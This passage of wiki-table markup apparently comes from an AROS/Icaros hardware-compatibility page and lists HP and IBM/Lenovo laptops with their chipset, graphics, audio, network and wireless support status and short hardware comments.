| &lt;!--Name--&gt;HP ProBook 255 G8, HP 245 G9, ProBook 255 G9 816C2EA#ABE, - no cmos battery only internal battery || &lt;!--Chipset--&gt;AMD RYZEN 3 5300u, 5425U, 5 5500U 5625U, 7 5700u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|NVMe}} || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Vega 6 or 8 hdmi 1.4B}} || &lt;!--Audio--&gt;{{unk|HDAudio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG GbE}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822CE or Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14&quot; to 15.6in 768p to 1080p poor gamut - 45 or 65w hp psu - 2 ddr4 sodimm slots max 16GB - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 450 G9 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel Iris Xe}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111H}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 15.6 inch - 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;HP EliteBook 645 g7, 835 G8, 845 g8, HP ENVY x360 13 15, HP 17-cp0021na || &lt;!--Chipset--&gt;AMD Ryzen 5 5650U, 7 5800U, R7 Pro 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Radeon}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x, 0x with ALC3247 aka ALC236 codec 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|Realtek 1Gbe on 645 only}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 13.3&quot; or 14&quot; 1080p - poor screens low nits and srgb score - 845 gets hot ue to poor cooling - slim round hp ac - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Dev One, HP ProBook 455 G8 || &lt;!--Chipset--&gt;AMD Ryzen 7 5800U, R7 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 15.6&quot; 1080p - 2 internal sodimm slots - hp barrel charging - 
|-
| &lt;!--Name--&gt;Elitebook 655 g9 669y1ut#aba,  || &lt;!--Chipset--&gt;AMD Ryzen 5 PRO 5675U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 15.6&quot; 1080p - 1 or 2 internal sodimm slots - usb-c charging - 
|-
| &lt;!--Name--&gt;HP probook 635 Aero G8 || &lt;!--Chipset--&gt;AMD Ryzen 5 5600U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2921 64bit - 14in 1080p - 2 ddr4 slots - ec chip nuvoton NPCX797HA1B - bios winbond 250256JYEN - 
|-
| &lt;!--Name--&gt;HP PROBOOK X360 435 G8 cmos battery || &lt;!--Chipset--&gt;RYZEN 5 5600U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|Vesa 2D }} || &lt;!--Audio--&gt;{{maybe|HDaudio with ALC236 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|RTL8822CE or Intel AX200}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - hp round ac plug - 
|-
| &lt;!--Name--&gt;HP Elitebook 845 g9 || &lt;!--Chipset--&gt;AMD 6000 series 6850u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8}} || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }}Qualcomm Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit aluminum case - 14in 1080p to 2140p 16:10 poor screen again - 2 internal ddr5 sodimm slots - usb-c ac charging avoid any knocks - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 445 G10, 455 G10 || &lt;!--Chipset--&gt;AMD Ryzen 5 7530U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Vega 7 || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6in - hp round ac - 
|-
| &lt;!--Name--&gt;Hp 455 G11 || &lt;!--Chipset--&gt;AMD Ryzen 3 7335U (4c8t), 5 7535U (6c12t), 7 7735U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Vega 7 || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 35.6 cm (14.0 in) 1920x1200 or 2560x1600 - usb-c 45w or 65w ac - 2 ddr5 sodimm slots max 32gb - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====IBM/Lenovo====

[[#top|...to the top]]

Build quality (Lowest to highest) 

&lt;pre &gt;
iSeries
Edge 
Ideapad
Thinkpad - good cases and construction but electronic internals same as anyone else 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Thinkpad 390X 390E (2626) || &lt;!--Chipset--&gt;Neo Magic MM2200 with C400 P2-266 to P3 500MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA || &lt;!--Audio--&gt;{{No|256AV or ESS Solo-1}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Thinkpad 600x || &lt;!--Chipset--&gt;Intel 440BX || &lt;!--IDE--&gt;{{Maybe| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Neomagic NM2360 MagicMedia 256ZX}} || &lt;!--Audio--&gt;{{No|Crystal CS4297A codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A| }} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt;Icaros 1.3.1 || &lt;!--Comments--&gt;1998 32bit a little support - earlier 600 and 600e were Pentium 2 based 
|-
| &lt;!--Name--&gt;Thinkpad X20 (2662-32U) X21 || &lt;!--Chipset--&gt;Intel 440 BX ZX DX || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;{{no|AC97 with Cirrus Logic Crystal cs4281}} || &lt;!--USB--&gt;1.1 || &lt;!--Ethernet--&gt;no mini pci intel e100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit 
|-
| Thinkpad T20 (2647) T21 (26) T22 || 440BX || {{Maybe| }} || {{N/A}} || {{partial|Savage IX-MV (VESA only)}} || {{no|Cirrus Logic CS 4614/22/ 24/30}} || {{yes|USB 1.1}} || {{yes|Intel PRO 100}} || {{N/A}} || Icaros 1.2.4 || 2002 32bit 
|-
| &lt;!--Name--&gt;A21e (2628, 2655) A22e || &lt;!--Chipset--&gt;440MX || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Ati rage mobility || &lt;!--Audio--&gt;{{no|AC97 Cs4299 CS4229}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;intel e100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 
|-
| Thinkpad T23 (2647) || i810 || {{yes|IDE}} || {{N/A}} || {{maybe|S3 Super Savage IX/C SDR (VESA only)}} || {{maybe|AC'97 CS4299}} || {{yes|USB 1.1}} || {{yes|Intel ICH3 PRO 100 VE}} || {{no|Realtek RTL8180L others with bios hacking risky}} || || 2003 32bit with some support 
|-
| &lt;!--Name--&gt;Thinkpad X22 X23 X24 || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATi Mobility M6 LY || &lt;!--Audio--&gt;Ac97 CS4299 || &lt;!--USB--&gt;2 x 1.1 || &lt;!--Ethernet--&gt;Intel Pro 100 || &lt;!--Wireless--&gt;Actiontec Harris Semi Intersil Prism 2.5 (X23 and X24 only) || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit with slice Ultrabase X2 - 
|-
| &lt;!--Name--&gt;A30 A30p || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Ati Radeon M6 || &lt;!--Audio--&gt;AC97 CS 4299 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel Pro 100 ve || &lt;!--Wireless--&gt;{{No|Intel 2200 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;A31 A31p R31 R32 T30 || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt;{{yes| }} || &lt;!--SATA--&gt;{{N/A| }} || &lt;!--Gfx--&gt;Ati Radeon 7500 or FireGL || &lt;!--Audio--&gt;{{yes|AC97 Intel with AD1881A codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes| Intel Pro 100 ve}} || &lt;!--Wireless--&gt;{{No|Intel bios locked}} || &lt;!--Test Distro--&gt;[https://forums.lenovo.com/t5/Android-Ecosystem-Developers/AROS-An-operation-system-inside-Android/td-p/1441741 Icaros 1.5.2] || &lt;!--Comments--&gt;2003 32bit Also tested with Icaros 2.0.3. 
|-
| Thinkpad X30 (2673) X31 (2884-xx2) X31t || i830 || {{yes}} || {{N/A}} || {{maybe|VESA only Radeon M6 Mobility}} || {{yes|AC97 - AD1981B codec}} ||  {{yes|USB 1.1}} || {{yes|Intel PRO 100}} || {{no|Cisco Aironet or Intel 2915 but atheros with bios hacking}} || Icaros 1.4 || 2004 32bit sound bit distorted 
|-
| &lt;!--Name--&gt;R50e R51 || &lt;!--Chipset--&gt;855M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Intel 855M use VESA}} || &lt;!--Audio--&gt;intel AC97 with AD1981B codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Intel 100 VE}} || &lt;!--Wireless--&gt;{{No|Intel PRO Wireless 2200BG bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - 
|-
| IBM Thinkpad T40 (2373) T41 T41p (2379) T42 T42p T43 T43p || Intel 8xx || {{partial|PIO}} || {{N/A}} || {{partial|ATI mobility 7500 9000 (VESA only)}} || {{yes|AC97 playback}} || {{yes|uhci 1.1 and ehci 2.0}} || {{no|e1000}} || {{Maybe|Intel 2200bg bios locked but possible AR5BMB-44 AR5212 FRU 39T0081 mini PCI}} || Icaros 1.2.4 || 2004 32bit 16v IBM plug - Centrino Needs ATA=nodma option - issues with the inner chip of the SMT BGA graphics chip 
|-
| Thinkpad X32 || i855 || {{yes|40, 60 or 80GB 2.5&quot; PATA HDD}} || {{N/A}} || {{maybe|VESA only ATI Mobility Radeon 7000 with 16MB}} || {{maybe| Intel AC'97 Audio with a AD1981B codec}} ||  {{yes|USB}} || {{no|Intel 1000}} || {{no|Intel 2200 but atheros with bios hacking}} || 2016 Icaros 2.1 || 2004 32bit - 12.1&quot; TFT display with 1024x768 resolution; 256 or 512MB PC2700 memory standard (2GB max) 
|-
| &lt;!--Name--&gt;Thinkpad X40 X40t by Quanta || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|Intel 800 (VESA only)}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Intel e1000}} || &lt;!--Wireless--&gt;{{Maybe|Intel but most atheros with bios hacking - difficult though}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit last IBM design 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Thinkpad X41 (IBM) MT 1864 1865 2525 2526 2527 2528 x41t (Lenovo) MT 1866 1867 || &lt;!--Chipset--&gt;Intel with single core 1.5 1.6 and tablet 1.2GHz || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel 915GML 2D}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751M tg3}} || &lt;!--Wireless--&gt;{{Maybe|Intel or MiniPCI Wi-Fi Atheros AR5BMB FRU 39T0081 but ordinary atheros 54meg needs risky bios hacking}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit - amongst first Lenovo design - 3pin cmos - 
|-
| &lt;!--Name--&gt;R52 (most 18xx) || &lt;!--Chipset--&gt;Intel 915 || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel 915GML 2D}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom}} || &lt;!--Wireless--&gt;{{no|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;R52 1846, 1847, 1848, 1849, 1850, 1870 || &lt;!--Chipset--&gt;ATi 200m  || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{No|ATI}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751M tg3}} || &lt;!--Wireless--&gt;{{no|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;Thinkpad T60 T60P 
* 64bit - 6 or 8 is 16:10 on T60/p, eg. 8742-CTO 15.4&quot; 
* 32bit - 1 and 2 are 14&quot;, 15&quot; 4:3, like 2007-YM3 or 1952-CTO 
|| &lt;!--Chipset--&gt;*any* T60/p will take a Core 2 Duo CPU with newer BIOS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;Intel GMA (2D) with &quot;p&quot; graphics card (ATi V5200 or V5250) || &lt;!--Audio--&gt;{{no|HD Audio}} || &lt;!--USB--&gt;{{yes}} || {{no|e1000e 82573L}} || &lt;!--Wireless--&gt;{{No|Intel ipw3945 ABG but atheros with Middleton's or Zender BIOS hacking risky}} || Icaros 1.4 || &lt;!--Comments--&gt;2006 -  
|-
| &lt;!--Name--&gt;X60 x60s x60t tablet || &lt;!--Chipset--&gt;945GMS 940GML || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;{{no|AD1981 HD Audio}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{no|Intel 3945 ABG or fru 39T5578 Atheros 5K AR5BXB6 ar5007eg with bios hacking}} || &lt;!--Comments--&gt;Icaros 1.4 || 2006 32bit - perhaps needs a zendered bios update but risky 
|-
| &lt;!--Name--&gt;R60 R60e || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 950 with optional radeon x1300 x1400 || &lt;!--Audio--&gt;HD Audio with 1981HD codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel or Broadcom || &lt;!--Wireless--&gt;{{Maybe|Intel 3945 or atheros fru 39T5578 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit
|-
| Thinkpad T61 T61p without Middleton's or Zender BIOS || Core 2 Duo CPU T7300 T8300 || {{N/A}} || &lt;!--SATA--&gt;{{yes| }} || Intel GMA (2D), NVS 140m or Quadro FX 570M () || {{maybe|HD Audio with Analog Devices AD1984 or AD1984A HD Audio Codec routed to the line output}} || &lt;!--USB--&gt;{{yes}} || {{no|intel e1000e 82573L}} || {{No|Intel but atheros with bios hacking risky}} || Icaros 1.6, AROS One  || 2007 64bit 
|-
| &lt;!--Name--&gt;X61 x61s X61T Tablet || &lt;!--Chipset--&gt;Core Duo T8100 on i965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{yes|Intel GMA 3100 (2D) slow 3D}} || &lt;!--Audio--&gt;{{no|AD1984 HD Audio}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Intel 82566DM}} || &lt;!--Wireless--&gt;{{maybe|Atheros AR5212 (some revisions use Intel WLAN runs very hot) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 64bit ultrabook running very hot - ddr2 max 4gb - 3pin cmos - 
|-
| &lt;!--Name--&gt;R61 R61i || &lt;!--Chipset--&gt;Intel 965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 965 || &lt;!--Audio--&gt;HD Audio with conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM5787M || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 
|-
| Lenovo 3000 N200 || &lt;!--Chipset--&gt;Santa Rosa || {{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || {{yes|Geforce 7300 (2D)}} || {{yes|ALC262 HD Audio}} || &lt;!--USB--&gt;{{yes}} || {{no|Broadcom}} || {{no|Intel 3945 bios locked}} || Icaros 1.4 || 2007 64bit 3D graphics parts are supported but buggy.
|-
| Lenovo 3000 N200 / V200 || GM965 ICH9-M with Intel Mobile Core 2 Duo T5450 || {{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || {{yes|X3100 (2D)}} || {{Maybe|HD Audio ALC269VB or CX20549}} || {{yes| }} || {{no|BCM5906M}} || {{no|Intel 3965 / 4965AGN bios locked}} || Icaros 1.4.1 2.1 || 2007 64bits of laptop works 
|-
| &lt;!--Name--&gt;X300 || &lt;!--Chipset--&gt;Core 2 Duo Merom SL7100 1.2GHz  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1.8 inch || &lt;!--Gfx--&gt;{{maybe|Intel X3100}} || &lt;!--Audio--&gt;HD Audio AD1984A || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{No|Intel 4965 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit 13.3&quot; TFT 1440x900 (WXGA+) with LED backlight 
|-
| &lt;!--Name--&gt;Thinkpad Edge 11″ AMD K325 || &lt;!--Chipset--&gt;M880G || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|VESA for ATI HD4200}} || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 8111}} || &lt;!--Wireless--&gt;{{no|8192CE (Realtek 8176) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 little support
|-
| &lt;!--Name--&gt;Thinkpad X301 || &lt;!--Chipset--&gt;Core 2 Duo Penryn SU9400 Su9600 with GM45 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1.8 inch micro SATA (uSATA) || &lt;!--Gfx--&gt;{{maybe|Intel X4500}} || &lt;!--Audio--&gt;AD1984A || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{No|Intel 5xxx WiFi link 5100, 5150, 5300 and 5350 (WiMAX) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 WXGA+ (1440×900) LED backlight display -  2774 or 4057 Alps and 2776 Synaptics touchpad - optical bay interface is Legacy IDE (PATA) - Addonics ADMS18SA, Lycom ST-170m 
|-
| &lt;!--Name--&gt;X100e || &lt;!--Chipset--&gt;AMD Athlon Neo Single-Core (MV-40) and dual cores || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|2.5in tray in ide mode in bios}} || &lt;!--Gfx--&gt;{{Maybe|Vesa ATI HD3200}} || &lt;!--Audio--&gt;{{yes|HD Audio with CX20582 codec playback}} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Yes|Realtek 8111}} || &lt;!--Wireless--&gt;{{no|Realtek r8192se bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2009 64bit 11.6in 1366 x 768 - 20v 65W round barrel - enter f1 setup f11 diagnostics f12 boot list - runs very warm - 
|-
| &lt;!--Name--&gt;SL400 SL500 || Intel  || {{N/A}} || {{Yes|IDE mode}} || {{Maybe|Nvidia 9400M}} || {{Maybe|ALC269}} || {{yes|USB 2.0}} || {{Maybe|RTL8169}} || {{Maybe| bios locked}} ||  || 
|-
| &lt;!--Name--&gt;SL410 SL510 || 965  || {{N/A}} || {{maybe|IDE mode}} || {{maybe|Intel GMA X4500M (some 2D)}} || {{yes|HD Audio with ALC269 codec - speaker and ear phones}} || {{yes|USB 2.0}} || {{yes|RTL8169}} || {{Maybe| bios locked}} || [http://www.amiga.org/forums/showpost.php?p=645774&amp;postcount=28 Icaros 1.3] || 2009 64bit SL-410 
|-
| &lt;!--Name--&gt;T400 ODM Wistron || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|Intel 4500MHD works limited 2d no 3d - optional switchable Nvidia or ATi HD3470 untested}} || &lt;!--Audio--&gt;{{Yes|HD Audio with Codec CX20561 (T400)}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel e1000e}} || &lt;!--Wireless--&gt;{{No|Intel Wifi Link 5100 (AGN) half height card with FRU 43Y6493 or 5300 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 20v lenovo plug - non-free firmware required iwlwifi 
|-
| &lt;!--Name--&gt;T400s || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|VSEA for Intel 4500MHD works limited 2d no 3d}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with CX20585}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel e1000e}} || &lt;!--Wireless--&gt;{{No|Intel Wifi Link 5100 (AGN) half height card with FRU 43Y6493 or 5300 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit non-free firmware required iwlwifi 
|-
| &lt;!--Name--&gt;Lenovo T500 T510 || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe|VESA for switchable Intel / AMD  HD 3640}} || &lt;!--Audio--&gt;{{maybe|Intel HD Audio with a CX20561 (t500) and CX20585 (T510) codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no|Intel or Lenovo branded unit Atheros AR5007EG AR5BHB63 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 
|-
| &lt;!--Name--&gt;X200 ODM Wistron [http://itgen.blogspot.co.uk/2008/12/installing-arch-linux-on-lenovo.html X200s] and x200t tablet model without [http://fsfe.soup.io/post/590865884/the-unconventionals-blog-English-Flashing-Libreboot-on Risky flash of the Libreboot BIOS] || &lt;!--Chipset--&gt;GM45 GS45 with slow Celeron, SU or faster SL Core 2 Duos CPUs || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe||Intel GMA 4500 MHD 2D but slow software 3D tunnel 10 gearbox 8 tests}} || &lt;!--Audio--&gt;{{yes|Intel HD Audio with Conexant CX20561 codec playback}} || &lt;!--USB--&gt;{{{Yes|USB 2.0 USB SD card reads and writes}} || &lt;!--Ethernet--&gt;{{no|Intel 82567LM Gigabit}} || &lt;!--Wireless--&gt;{{no|Intel Pro 5100 5150 5300 5350 AGN due to whitelist prevention bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.0.1 || &lt;!--Comments--&gt;2009 64bit 12.1&quot; CCFL (webcam version) or LED backlit (no webcam). no support for 54mm express cards or Authentec 2810 fingerprint reader - thinkpoint only no trackpad - 3pin cmos -  
|-
